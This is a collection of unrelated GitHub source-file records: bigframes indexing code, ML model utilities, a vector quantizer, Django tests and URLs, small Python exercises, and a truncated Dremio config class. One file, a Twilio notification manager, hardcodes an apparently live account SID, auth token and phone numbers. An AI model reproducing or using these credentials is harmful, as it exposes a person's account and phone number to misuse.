bigframes.series.Series):\n temp_name = guid.generate_guid(prefix=\"temp_series_name_\")\n if len(series_or_dataframe.index.names) > 1:\n temp_name = series_or_dataframe.index.names[0]\n key = key.rename(temp_name)\n keys_df = key.to_frame()\n keys_df = keys_df.set_index(temp_name, drop=True)\n return _perform_loc_list_join(series_or_dataframe, keys_df)\n elif isinstance(key, bigframes.core.indexes.Index):\n block = key._data._get_block()\n block = block.select_columns(())\n keys_df = bigframes.dataframe.DataFrame(block)\n return _perform_loc_list_join(series_or_dataframe, keys_df)\n elif pd.api.types.is_list_like(key):\n key = typing.cast(List, key)\n if len(key) == 0:\n return typing.cast(\n Union[bigframes.dataframe.DataFrame, bigframes.series.Series],\n series_or_dataframe.iloc[0:0],\n )\n if pd.api.types.is_list_like(key[0]):\n original_index_names = series_or_dataframe.index.names\n num_index_cols = len(original_index_names)\n\n entry_col_count_correct = [len(entry) == num_index_cols for entry in key]\n if not all(entry_col_count_correct):\n # pandas usually throws TypeError in these cases- tuple causes IndexError, but that\n # seems like unintended behavior\n raise TypeError(\n \"All entries must be of equal length when indexing by list of listlikes\"\n )\n temporary_index_names = [\n guid.generate_guid(prefix=\"temp_loc_index_\")\n for _ in range(len(original_index_names))\n ]\n index_cols_dict = {}\n for i in range(num_index_cols):\n index_name = temporary_index_names[i]\n values = [entry[i] for entry in key]\n index_cols_dict[index_name] = values\n keys_df = bigframes.dataframe.DataFrame(\n index_cols_dict, session=series_or_dataframe._get_block().expr.session\n )\n keys_df = keys_df.set_index(temporary_index_names, drop=True)\n keys_df = keys_df.rename_axis(original_index_names)\n else:\n # We can't upload a DataFrame with None as the column name, so set it\n # an arbitrary string.\n index_name = series_or_dataframe.index.name\n index_name_is_none = index_name is None\n if index_name_is_none:\n index_name = \"unnamed_col\"\n keys_df = bigframes.dataframe.DataFrame(\n {index_name: key},\n session=series_or_dataframe._get_block().expr.session,\n )\n keys_df = keys_df.set_index(index_name, drop=True)\n if index_name_is_none:\n keys_df.index.name = None\n return _perform_loc_list_join(series_or_dataframe, keys_df)\n elif isinstance(key, slice):\n if (key.start is None) and (key.stop is None) and (key.step is None):\n return series_or_dataframe.copy()\n raise NotImplementedError(\n f\"loc does not yet support indexing with a slice. {constants.FEEDBACK_LINK}\"\n )\n elif callable(key):\n raise NotImplementedError(\n f\"loc does not yet support indexing with a callable. {constants.FEEDBACK_LINK}\"\n )\n elif pd.api.types.is_scalar(key):\n index_name = \"unnamed_col\"\n keys_df = bigframes.dataframe.DataFrame(\n {index_name: [key]}, session=series_or_dataframe._get_block().expr.session\n )\n keys_df = keys_df.set_index(index_name, drop=True)\n keys_df.index.name = None\n result = _perform_loc_list_join(series_or_dataframe, keys_df)\n pandas_result = result.to_pandas()\n # although loc[scalar_key] returns multiple results when scalar_key\n # is not unique, we download the results here and return the computed\n # individual result (as a scalar or pandas series) when the key is unique,\n # since we expect unique index keys to be more common. loc[[scalar_key]]\n # can be used to retrieve one-item DataFrames or Series.\n if len(pandas_result) == 1:\n return pandas_result.iloc[0]\n # when the key is not unique, we return a bigframes data type\n # as usual for methods that return dataframes/series\n return result\n else:\n raise TypeError(\n \"Invalid argument type. Expected bigframes.Series, bigframes.Index, \"\n \"list, : (empty slice), or scalar. \"\n f\"{constants.FEEDBACK_LINK}\"\n )\n\n\n@typing.overload\ndef _perform_loc_list_join(\n series_or_dataframe: bigframes.series.Series,\n keys_df: bigframes.dataframe.DataFrame,\n) -> bigframes.series.Series:\n ...\n\n\n@typing.overload\ndef _perform_loc_list_join(\n series_or_dataframe: bigframes.dataframe.DataFrame,\n keys_df: bigframes.dataframe.DataFrame,\n) -> bigframes.dataframe.DataFrame:\n ...\n\n\ndef _perform_loc_list_join(\n series_or_dataframe: Union[bigframes.dataframe.DataFrame, bigframes.series.Series],\n keys_df: bigframes.dataframe.DataFrame,\n) -> Union[bigframes.series.Series, bigframes.dataframe.DataFrame]:\n # right join based on the old index so that the matching rows from the user's\n # original dataframe will be duplicated and reordered appropriately\n original_index_names = series_or_dataframe.index.names\n if isinstance(series_or_dataframe, bigframes.series.Series):\n original_name = series_or_dataframe.name\n name = series_or_dataframe.name if series_or_dataframe.name is not None else \"0\"\n result = typing.cast(\n bigframes.series.Series,\n series_or_dataframe.to_frame()._perform_join_by_index(keys_df, how=\"right\")[\n name\n ],\n )\n result = result.rename(original_name)\n else:\n result = series_or_dataframe._perform_join_by_index(keys_df, how=\"right\") # type: ignore\n result = result.rename_axis(original_index_names)\n return result\n\n\n@typing.overload\ndef _iloc_getitem_series_or_dataframe(\n series_or_dataframe: bigframes.series.Series, key\n) -> Union[bigframes.series.Series, bigframes.core.scalar.Scalar]:\n ...\n\n\n@typing.overload\ndef _iloc_getitem_series_or_dataframe(\n series_or_dataframe: bigframes.dataframe.DataFrame, key\n) -> Union[bigframes.dataframe.DataFrame, pd.Series]:\n ...\n\n\ndef _iloc_getitem_series_or_dataframe(\n series_or_dataframe: Union[bigframes.dataframe.DataFrame, bigframes.series.Series],\n key,\n) -> Union[\n bigframes.dataframe.DataFrame,\n bigframes.series.Series,\n bigframes.core.scalar.Scalar,\n pd.Series,\n]:\n if isinstance(key, int):\n internal_slice_result = series_or_dataframe._slice(key, key + 1, 1)\n result_pd_df = internal_slice_result.to_pandas()\n if result_pd_df.empty:\n raise IndexError(\"single positional indexer is out-of-bounds\")\n return result_pd_df.iloc[0]\n elif isinstance(key, slice):\n return series_or_dataframe._slice(key.start, key.stop, key.step)\n elif isinstance(key, tuple) and len(key) == 0:\n return series_or_dataframe\n elif isinstance(key, tuple) and len(key) == 1:\n return _iloc_getitem_series_or_dataframe(series_or_dataframe, key[0])\n elif (\n isinstance(key, tuple)\n and isinstance(series_or_dataframe, bigframes.dataframe.DataFrame)\n and len(key) == 2\n ):\n return series_or_dataframe.iat[key]\n elif isinstance(key, tuple):\n raise pd.errors.IndexingError(\"Too many indexers\")\n elif pd.api.types.is_list_like(key):\n if len(key) == 0:\n return typing.cast(\n Union[bigframes.dataframe.DataFrame, bigframes.series.Series],\n series_or_dataframe.iloc[0:0],\n )\n df = series_or_dataframe\n if isinstance(series_or_dataframe, bigframes.series.Series):\n original_series_name = series_or_dataframe.name\n series_name = (\n original_series_name if original_series_name is not None else \"0\"\n )\n df = series_or_dataframe.to_frame()\n original_index_names = df.index.names\n temporary_index_names = [\n guid.generate_guid(prefix=\"temp_iloc_index_\")\n for _ in range(len(df.index.names))\n ]\n df = df.rename_axis(temporary_index_names)\n\n # set to offset index and use regular loc, then restore index\n df = df.reset_index(drop=False)\n result = df.loc[key]\n result = result.set_index(temporary_index_names)\n result = result.rename_axis(original_index_names)\n\n if isinstance(series_or_dataframe, bigframes.series.Series):\n result = result[series_name]\n result = typing.cast(bigframes.series.Series, result)\n result = result.rename(original_series_name)\n\n return result\n\n elif isinstance(key, tuple):\n raise NotImplementedError(\n f\"iloc does not yet support indexing with a (row, column) tuple. {constants.FEEDBACK_LINK}\"\n )\n elif callable(key):\n raise NotImplementedError(\n f\"iloc does not yet support indexing with a callable. {constants.FEEDBACK_LINK}\"\n )\n else:\n raise TypeError(f\"Invalid argument type. {constants.FEEDBACK_LINK}\")\n","repo_name":"googleapis/python-bigquery-dataframes","sub_path":"bigframes/core/indexers.py","file_name":"indexers.py","file_ext":"py","file_size_in_byte":19106,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"3"} +{"seq_id":"72155643922","text":"import torch\nimport argparse\nfrom models.psp import pSp\n\ndef setup_model(checkpoint_path, device='cuda'):\n ckpt = torch.load(checkpoint_path, map_location='cpu')\n opts = ckpt['opts']\n\n is_cars = 'car' in opts['dataset_type']\n is_faces = 'ffhq' in opts['dataset_type']\n if is_faces:\n opts['stylegan_size'] = 1024\n elif is_cars:\n opts['stylegan_size'] = 512\n else:\n opts['stylegan_size'] = 256\n\n opts['checkpoint_path'] = checkpoint_path\n opts['device'] = device\n opts['is_train'] = False\n opts = argparse.Namespace(**opts)\n\n net = pSp(opts)\n net.eval()\n net = net.to(device)\n return net, opts\n","repo_name":"Tengfei-Wang/HFGI","sub_path":"utils/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":432,"dataset":"github-code","pt":"3"} +{"seq_id":"18640199621","text":"import os\nfrom twilio.rest import Client\n\nTWILIO_ACCOUNT_SID = \"ACef08d2c54acc66333a64d92dfec4fb87\"\nTWILIO_AUTH_TOKEN = \"86fca3ba1eb5f7802a48db10697cb128\"\nTWILIO_PHONE_NUM = \"+15632782109\"\n\n\nclass NotificationManager:\n # This class is responsible for sending notifications with the deal flight details.\n def __init__(self, filtered_flight_data):\n self.filtered_flight_data = filtered_flight_data\n\n def send_flight_data_to_phone(self):\n if self.filtered_flight_data:\n for data in self.filtered_flight_data:\n client = Client(TWILIO_ACCOUNT_SID, TWILIO_AUTH_TOKEN)\n\n message = client.messages.create(\n body=f'Low price alert!Only £{data[\"price\"]} to fly from {data[\"from\"]} to {data[\"to\"]}, from{data[\"date_from\"]} to {data[\"date_to\"]}',\n from_=TWILIO_PHONE_NUM,\n to='+447377515606'\n )\n\n print(message.sid)\n","repo_name":"supawichza40/100DaysCoding-Python","sub_path":"day_39-Cheap Flight finder/cheap_flight_finder/notification_manager.py","file_name":"notification_manager.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33700395887","text":"import csv\nimport pickle\nimport numpy as np\nfrom datetime import datetime\nimport os\nimport tkinter as tk\nfrom tkinter import filedialog\nimport matplotlib.pyplot as plt\n\n\n\n\nclass Analysis:\n \"\"\"\n This class intend to analyse the results of the training,\n e.g. check which feature are not needed due to infrequency and lack of added value\n \"\"\"\n\n def __init__(self):\n self.epsilon = 0\n\n def check_redundant_classifier_entries(self, file_name=None):\n \"\"\"\n this method gets the weight vector, and checking which entries smaller than epsilon\n :return: redundant features\n \"\"\"\n if not file_name:\n file_name = os.path.join('resources', 'w_vec.pkl_11_12_2017_11_42_44')\n weight = pickle.load(open(file_name, 'rb'))\n features_vector_mapping = {}\n features_vector_mapping_file = csv.reader(open(\n os.path.join('dict', 'feature_100_feature_101_feature_102_feature_103_feature_104_feature_105_feature_106_feature_107_feature_108_feature_109_feature_110_feature_111_features_vector_mapping.csv'), 'r'))\n for row in features_vector_mapping_file:\n if len(row) != 0:\n key, val = row\n features_vector_mapping.update({int(key): val})\n candidate_for_drop = []\n for index, value in enumerate(weight.x):\n if value <= self.epsilon:\n candidate_for_drop.append(features_vector_mapping[index])\n print(\"Features to drop:\")\n for feature in candidate_for_drop:\n print(feature)\n\n large_weights = [[features_vector_mapping[index], value] for index, value in enumerate(weight.x) if abs(value) > 1]\n analysis_file_name = os.path.join('analysis', 'large_weight_vec.csv')\n with open(analysis_file_name, \"w\") as summary_file:\n analyze = csv.writer(summary_file)\n for row in large_weights:\n analyze.writerow(row)\n return candidate_for_drop, large_weights\n\n def create_graph(self,file_name):\n \"\"\"\n\n :param file_name:\n :return:\n \"\"\"\n data = pickle.load(open(file_name, 'rb'))\n gradient = [val[0] for key, val in data.items()]\n loss = [val[1] for key, val in data.items()]\n fig, ax1 = plt.subplots()\n\n grad = ax1.plot(range(len(data)), gradient, '-ob', label='gradient')\n ax1.set_ylabel('gradient', color='b')\n ax1.tick_params('y', colors='b')\n ax2 = ax1.twinx()\n loss = ax2.plot(range(len(data)), loss, '-or', label='loss')\n ax2.set_ylabel('loss', color='r')\n ax2.tick_params('y', colors='r')\n ax1.set_title('gradient loss graph')\n lines = grad + loss\n lbls = [l.get_label() for l in lines]\n ax1.legend(lines, lbls, loc=0)\n plt.show()\n\n\nif __name__ == '__main__':\n analysis = Analysis()\n root = tk.Tk()\n root.withdraw()\n # file_path = filedialog.askopenfilename()\n # analysis.check_redundant_classifier_entries(file_path)\n file_path = filedialog.askopenfilename()\n analysis.create_graph(file_path)\n\n\n\n","repo_name":"reutapel/NLP_HW1","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"8061379122","text":"import torch\nfrom torch import nn, einsum\nimport torch.nn.functional as F\nfrom einops import rearrange, repeat\n\nfrom models.arch_util import l2norm, sample_vectors, default, ema_inplace\n\n\ndef kmeans(samples, num_clusters, num_iters = 10, use_cosine_sim = False):\n dim, dtype, device = samples.shape[-1], samples.dtype, samples.device\n\n means = sample_vectors(samples, num_clusters)\n\n for _ in range(num_iters):\n if use_cosine_sim:\n dists = samples @ means.t()\n else:\n diffs = rearrange(samples, 'n d -> n () d') - rearrange(means, 'c d -> () c d')\n dists = -(diffs ** 2).sum(dim = -1)\n\n buckets = dists.max(dim = -1).indices\n bins = torch.bincount(buckets, minlength = num_clusters)\n zero_mask = bins == 0\n bins = bins.masked_fill(zero_mask, 1)\n\n new_means = buckets.new_zeros(num_clusters, dim, dtype = dtype)\n new_means.scatter_add_(0, repeat(buckets, 'n -> n d', d = dim), samples)\n new_means = new_means / bins[..., None]\n\n if use_cosine_sim:\n new_means = l2norm(new_means)\n\n means = torch.where(zero_mask[..., None], means, new_means)\n\n return means\n\n# distance types\n\nclass EuclideanCodebook(nn.Module):\n def __init__(\n self,\n dim,\n codebook_size,\n kmeans_init = False,\n kmeans_iters = 10,\n decay = 0.8,\n eps = 1e-5\n ):\n super().__init__()\n self.decay = decay\n init_fn = torch.randn if not kmeans_init else torch.zeros\n embed = init_fn(codebook_size, dim)\n\n self.codebook_size = codebook_size\n self.kmeans_iters = kmeans_iters\n self.eps = eps\n\n self.register_buffer('initted', torch.Tensor([not kmeans_init]))\n self.register_buffer('cluster_size', torch.zeros(codebook_size))\n self.register_buffer('embed', embed)\n self.register_buffer('embed_avg', embed.clone())\n\n def init_embed_(self, data):\n embed = kmeans(data, self.codebook_size, self.kmeans_iters)\n self.embed.data.copy_(embed)\n self.embed_avg.data.copy_(embed.clone())\n self.initted.data.copy_(torch.Tensor([True]))\n\n def replace(self, samples, mask):\n modified_codebook = torch.where(mask[..., None], sample_vectors(samples, self.codebook_size), self.embed)\n self.embed.data.copy_(modified_codebook)\n\n def forward(self, x):\n shape, dtype = x.shape, x.dtype\n flatten = rearrange(x, '... d -> (...) d')\n embed = self.embed.t()\n\n if not self.initted:\n self.init_embed_(flatten)\n\n dist = -(\n flatten.pow(2).sum(1, keepdim=True)\n - 2 * flatten @ embed\n + embed.pow(2).sum(0, keepdim=True)\n )\n\n embed_ind = dist.max(dim = -1).indices\n embed_onehot = F.one_hot(embed_ind, self.codebook_size).type(x.dtype)\n embed_ind = embed_ind.view(*shape[:-1])\n quantize = F.embedding(embed_ind, self.embed)\n\n if self.training:\n ema_inplace(self.cluster_size, embed_onehot.sum(0), self.decay)\n embed_sum = flatten.t() @ embed_onehot\n ema_inplace(self.embed_avg, embed_sum.t(), self.decay)\n cluster_size = laplace_smoothing(self.cluster_size, self.codebook_size, self.eps) * self.cluster_size.sum()\n embed_normalized = self.embed_avg / cluster_size.unsqueeze(1)\n self.embed.data.copy_(embed_normalized)\n\n return quantize, embed_ind\n\nclass CosineSimCodebook(nn.Module):\n def __init__(\n self,\n dim,\n codebook_size,\n kmeans_init = False,\n kmeans_iters = 10,\n decay = 0.8,\n eps = 1e-5\n ):\n super().__init__()\n self.decay = decay\n\n if not kmeans_init:\n embed = l2norm(torch.randn(codebook_size, dim))\n else:\n embed = torch.zeros(codebook_size, dim)\n\n self.codebook_size = codebook_size\n self.kmeans_iters = kmeans_iters\n self.eps = eps\n\n self.register_buffer('initted', torch.Tensor([not kmeans_init]))\n self.register_buffer('embed', embed)\n\n def init_embed_(self, data):\n embed = kmeans(data, self.codebook_size, self.kmeans_iters, use_cosine_sim = True)\n self.embed.data.copy_(embed)\n self.initted.data.copy_(torch.Tensor([True]))\n\n def replace(self, samples, mask):\n samples = l2norm(samples)\n modified_codebook = torch.where(mask[..., None], sample_vectors(samples, self.codebook_size), self.embed)\n self.embed.data.copy_(modified_codebook)\n\n def forward(self, x):\n shape, dtype = x.shape, x.dtype\n flatten = rearrange(x, '... d -> (...) d')\n flatten = l2norm(flatten)\n\n if not self.initted:\n self.init_embed_(flatten)\n\n embed = l2norm(self.embed)\n dist = flatten @ embed.t()\n embed_ind = dist.max(dim = -1).indices\n embed_onehot = F.one_hot(embed_ind, self.codebook_size).type(dtype)\n embed_ind = embed_ind.view(*shape[:-1])\n\n quantize = F.embedding(embed_ind, self.embed)\n\n if self.training:\n bins = embed_onehot.sum(0)\n zero_mask = (bins == 0)\n bins = bins.masked_fill(zero_mask, 1.)\n\n embed_sum = flatten.t() @ embed_onehot\n embed_normalized = (embed_sum / bins.unsqueeze(0)).t()\n embed_normalized = l2norm(embed_normalized)\n embed_normalized = torch.where(zero_mask[..., None], embed, embed_normalized)\n ema_inplace(self.embed, embed_normalized, self.decay)\n\n return quantize, embed_ind\n\n# main class\n\nclass VectorQuantize(nn.Module):\n def __init__(\n self,\n dim,\n codebook_size,\n n_embed = None,\n codebook_dim = None,\n decay = 0.8,\n eps = 1e-5,\n kmeans_init = False,\n kmeans_iters = 10,\n use_cosine_sim = False,\n max_codebook_misses_before_expiry = 0\n ):\n super().__init__()\n n_embed = default(n_embed, codebook_size)\n\n codebook_dim = default(codebook_dim, dim)\n requires_projection = codebook_dim != dim\n self.project_in = nn.Linear(dim, codebook_dim) if requires_projection else nn.Identity()\n self.project_out = nn.Linear(codebook_dim, dim) if requires_projection else nn.Identity()\n\n self.eps = eps\n\n klass = EuclideanCodebook if not use_cosine_sim else CosineSimCodebook\n\n self._codebook = klass(\n dim = codebook_dim,\n codebook_size = n_embed,\n kmeans_init = kmeans_init,\n kmeans_iters = kmeans_iters,\n decay = decay,\n eps = eps\n )\n\n self.codebook_size = codebook_size\n self.max_codebook_misses_before_expiry = max_codebook_misses_before_expiry\n\n if max_codebook_misses_before_expiry > 0:\n codebook_misses = torch.zeros(codebook_size)\n self.register_buffer('codebook_misses', codebook_misses)\n\n @property\n def codebook(self):\n return self._codebook.codebook\n\n def decode(self, codes):\n unembed = F.embedding(codes, self._codebook.embed)\n return self.project_out(unembed)\n\n def expire_codes_(self, embed_ind, batch_samples):\n if self.max_codebook_misses_before_expiry == 0:\n return\n\n embed_ind = rearrange(embed_ind, '... -> (...)')\n misses = torch.bincount(embed_ind, minlength = self.codebook_size) == 0\n self.codebook_misses += misses\n\n expired_codes = self.codebook_misses >= self.max_codebook_misses_before_expiry\n if not torch.any(expired_codes):\n return\n\n self.codebook_misses.masked_fill_(expired_codes, 0)\n batch_samples = rearrange(batch_samples, '... d -> (...) d')\n self._codebook.replace(batch_samples, mask = expired_codes)\n\n def forward(self, x):\n x = self.project_in(x)\n\n quantize, embed_ind = self._codebook(x)\n commit_loss = F.mse_loss(quantize.detach(), x)\n\n if self.training:\n quantize = x + (quantize - x).detach()\n self.expire_codes_(embed_ind, x)\n\n quantize = self.project_out(quantize)\n return quantize, embed_ind, commit_loss\n","repo_name":"neonbjb/DL-Art-School","sub_path":"codes/models/vqvae/vector_quantizer.py","file_name":"vector_quantizer.py","file_ext":"py","file_size_in_byte":8234,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"3"} +{"seq_id":"508338102","text":"\n\nimport unittest\n\nfrom impatient_test.find_all_tests import *\n\nclass CaseFinderTest(unittest.TestCase):\n\n def test_get_test_Klasses_from_module(self):\n from dummy_test_fixture.tests import dummy_tests as dummy_test_module\n self.assertEquals(\n get_test_Klasses_from_module(dummy_test_module),\n [dummy_test_module.ExampleTests])\n\n def test_get_test_cases_from_Klass(self):\n from dummy_test_fixture.tests import dummy_tests as dummy_test_module\n ET = dummy_test_module.ExampleTests\n expected_test_case = getattr(ET, \"test_1\")\n self.assertEquals(\n set([expected_test_case]),\n set(get_test_cases_from_Klass(dummy_test_module.ExampleTests)))\n\n def test_get_test_module(self):\n from dummy_test_fixture.tests import dummy_tests as dummy_test_module\n DA = get_app(\"dummy_test_fixture\") #DummmyApp\n\n expected_test_module = get_test_module(DA)\n from dummy_test_fixture import tests as dtf_test_module\n self.assertEquals(expected_test_module, dtf_test_module)\n\n\n def test_get_testcase_name(self):\n from dummy_test_fixture.tests import dummy_tests as dummy_test_module\n DA = get_app(\"dummy_test_fixture\") #DummmyApp\n \n ET = dummy_test_module.ExampleTests\n test_case_fn = getattr(ET, \"test_1\")\n self.assertEquals(get_test_case_name(test_case_fn),\n \"test_1\")\n def test_diff(self):\n from dummy_test_fixture.tests import dummy_tests as dummy_test_module\n DA = get_app(\"dummy_test_fixture\") #DummmyApp\n\n self.assertNotEquals(get_test_modules_from_app(DA),\n get_test_Klasses_from_module(DA))\n\n \n\n def test_TestDescription_eq(self):\n d1 = TestDescription(\"foo\", \"bar\", \"baz\", \"bof\")\n d2 = TestDescription(\"foo\", \"bar\", \"baz\", \"bof\")\n self.assertEquals(d1,d2)\n d3 = TestDescription(\"fo2\", \"bar\", \"baz\", \"bof\")\n self.assertNotEquals(d2,d3)\n\n def test_collect_TestDescriptions(self):\n \"\"\" use dummy test module \"\"\"\n from dummy_test_fixture.tests import dummy_tests as dummy_test_module\n DA = get_app(\"dummy_test_fixture\") #DummmyApp\n\n ET = dummy_test_module.ExampleTests\n expected_test_case = getattr(ET, \"test_1\")\n expected_Klass = ET\n expected_app = \"dummy_test_fixture\"\n expected_invoke_string = \"dummy_test_fixture.ExampleTests.test_1\"\n\n expected_td = TestDescription(\n expected_test_case,\n expected_Klass,\n expected_app,\n expected_invoke_string)\n\n fixture_app_tds =get_all_TestDescriptions(\"dummy_test_fixture\")\n #print fixture_app_tds[0]\n #print expected_td\n #pdb.set_trace()\n self.assertTrue(\n expected_td in fixture_app_tds)\n\n\nif __name__ == '__main__':\n unittest.main()\n\n\n","repo_name":"paddymul/impatient_test","sub_path":"impatient_test/tests/case_finder_test.py","file_name":"case_finder_test.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"27364840806","text":"inputList=[1,7,8,6,5,2,3,4]\ninputList.sort()\nprint(inputList)\nuser=int(input())\nstart=0\nend=len(inputList)-1\n\nmid=(end+start)//2\nfound=False\niteration=0\nwhile(start<=end and found==False):\n mid = (start + end) // 2\n iteration+=1\n if (inputList[mid] == user):\n found = True\n print(\"Number found at sorted index: \", mid)\n print(\"Total iteration: \",iteration)\n if (inputList[mid] < user):\n start = mid+1\n elif(inputList[mid]>user):\n end=mid-1\n\n\n\n","repo_name":"rupamswain1/PythonHackerRankPractice","sub_path":"searchingAlgorithm/BinarySearch.py","file_name":"BinarySearch.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29058362497","text":"import asyncio\n\nimport copy\nimport hamcrest as hm\nimport pytest\nfrom billing.library.python.calculator.values import PersonType\n\nfrom billing.hot.tests.clients.accounts.client import Client as AccountsClient\nfrom billing.hot.tests.clients.processor.bnpl_client import Client as BnplClient\nfrom billing.hot.tests.lib.rand import rand\nfrom billing.hot.tests.lib.state import contract\n\n\nasync def send_one(bnpl_client, state, order):\n state = copy.copy(state)\n state.order_uid = order\n async with bnpl_client.cashless_payment(\n state,\n transaction_amount=60_000,\n total_commission=100\n ) as response:\n hm.assert_that(response.status, hm.equal_to(200))\n\n\nasync def check_one(yt, order):\n transaction_id = f'transaction_id-{order}-payment'\n query = f\"* FROM [{yt.tables['accruals_common_dry_run']}] \" \\\n f\"WHERE event_external_id = \\\"{transaction_id}\\\"\"\n output = yt.select_rows_dynamic(query)\n offsets = [str(row['_offset']) for row in output.rows]\n assert len(offsets) == 1, transaction_id\n\n\n@pytest.mark.asyncio\nasync def test_compare_accruals(\n accounts_client: AccountsClient,\n bnpl_client: BnplClient,\n create_state_builder,\n yandex_firm_id: int,\n yt_lib_client,\n test_on_recipes,\n):\n \"\"\"\n Проверяем, что все отправленные события доехали до выгрузки Начислений в YT в полном объеме и без дублей.\n \"\"\"\n n = 256\n\n builder = create_state_builder()\n builder.with_person_type(person_type=PersonType.UR)\n builder.with_firm(firm_id=yandex_firm_id)\n builder.fill_contracts(\n contracts=[contract.BnplContract.generate()],\n namespace='bnpl',\n dry_run=True,\n filter='Firm'\n )\n state = builder.built_state()\n\n order_uids = [rand.int64() for _ in range(n)]\n await asyncio.gather(*[send_one(bnpl_client, state, order) for order in order_uids])\n\n if not test_on_recipes:\n # ждем пока события проедут через выгрузки системы счетов, начислятор и реплицируются в дин.таблицу\n wait_interval = 60\n await asyncio.sleep(wait_interval)\n\n await asyncio.gather(*[check_one(yt_lib_client, order) for order in order_uids])\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/tests/integration/bnpl/test_accruals_compare.py","file_name":"test_accruals_compare.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35445070711","text":"\"\"\"Given a positive integer num, write a function which returns True if num is\na perfect square else False.\nFollow up:\n9\n\nExample 1:\nInput: num = 16\nOutput: true\n\nExample 2:\nInput: num = 14\nOutput: false\n\nConstraints:\n1 <= num <= 2^31 - 1\"\"\"\n\n\nclass Solution:\n @staticmethod\n def is_perfect_square_binary(num: int) -> bool:\n left = 1\n right = num\n while left <= right:\n middle = int((left + right) / 2)\n if middle ** 2 > num:\n right = middle - 1\n elif middle ** 2 < num:\n left = middle + 1\n else:\n return True\n return False\n\n\nprint(Solution.is_perfect_square_binary(4294967296))\n","repo_name":"konmin123/Leetcode_","sub_path":"367. Valid Perfect Square.py","file_name":"367. Valid Perfect Square.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37117718089","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 24 13:58:02 2016\r\n\r\n@author: H8324261\r\n\"\"\"\r\n\r\nimport random\r\nfrom functools import reduce\r\n \r\nnames = ['Mary', 'Isla', 'Sam']\r\n \r\nsecret_names = map(lambda x: random.choice(['Mr. Pink',\r\n 'Mr. Orange',\r\n 'Mr. Blonde']),\r\n names)\r\nprint(list(secret_names))\r\n\r\nsentences = ['Mary read a story to Sam and Isla.',\r\n 'Isla cuddled Sam.',\r\n 'Sam chortled.']\r\n \r\nsam_count = reduce(lambda a, x: a + x.count('Sam'),\r\n sentences,\r\n 0)\r\n#print(sam_count)\r\n\r\npeople = [{'name': 'Mary', 'height': 160},\r\n {'name': 'Isla', 'height': 80},\r\n {'name': 'Sam'}]\r\nsl = map(lambda x: x['height'], filter(lambda x: 'height' in x, people))\r\nll = list(sl)\r\nal = reduce(lambda a, x: a + x, ll, 0)\r\nprint(al/len(ll))\r\n\r\ndef move_cars(car_positions):\r\n return map(lambda x: x + 1 if random.random() > 0.3 else x,\r\n car_positions)\r\n \r\ndef output_car(car_position):\r\n return '-' * car_position\r\n \r\ndef run_step_of_race(state):\r\n return {'time': state['time'] - 1,\r\n 'car_positions': list(move_cars(state['car_positions']))}\r\n \r\ndef draw(state):\r\n print('')\r\n print('\\n'.join(map(output_car, state['car_positions'])))\r\n \r\ndef race(state):\r\n draw(state)\r\n print(state['time'])\r\n if state['time']:\r\n race(run_step_of_race(state))\r\n \r\nrace({'time': 5,\r\n 'car_positions': [1, 1, 1]}) ","repo_name":"linbinbin/pytest","sub_path":"funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73320186962","text":"from . import views\nfrom django.urls import path, include\n\n\nurlpatterns = [ \n path(\"publicar_encontrada/\", views.publicar, name = \"publicar encontrada\"),\n path(\"ver_encontrados/\", views.ver_encontrados, name = \"ver encontrados\"),\n path(\"ver_encontradosSinAuth/\", views.ver_encontrados, name = \"ver encontrados\"),\n path(\"ver_encontrados/\", views.EncontradosDetailView.as_view(), name = \"ver detalle encontrados\"),\n path(\"ver_mis_encontrados/\", views.ver_mis_encontrados, name = \"ver mis encontrados\"),\n path(\"marcar_devuelto/\", views.marcar_devuelto, name = \"marcar devuelto\"),\n \n]","repo_name":"dome0luis0valentin/OhMyDog","sub_path":"mascotas_encontradas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72457129683","text":"import logging, sys\nimport json\nimport os\nimport fnmatch, re\nfrom DremioClonerLogger import DremioClonerLogger\n\nclass DremioClonerConfig():\n\n\t# Dremio Utils\n\t_utils = None\n\t_logger = None\n\n\tCMD_GET = 'get'\n\tCMD_PUT = 'put'\n\tCMD_CASCADE_ACL = 'cascade-acl'\n\tCMD_DESCRIBE_JOB = 'describe-job'\n\tCMD_REPORT_ACL = 'report-acl'\n\tCMD_REPORT_REFLECTIONS = 'report-reflections'\n\tCMD_DELETE = 'delete-beta'\n\n\t# Config json code\n\tcloner_conf_json = None\n\t# Command to execute: put, get, cp, report-acl, cascade-acl\n\tcommand = None\n\tdry_run = True\n\t# Source Dremio Environment definition\n\tsource_endpoint = None\n\tsource_verify_ssl = True\n\tsource_username = None\n\tsource_password = None\n\tsource_filename = None\n\tsource_directory = None\n\tsource_ce = False\n\tsource_graph_support = False\n\tsource_rbac = False\n\tsource_dremio_cloud = False\n\tsource_dremio_cloud_org_id = None\n\tsource_dremio_cloud_project_id = None\n\n\tjob_sql = None\n\t# Target Dremio Environment definition\n\ttarget_ce = 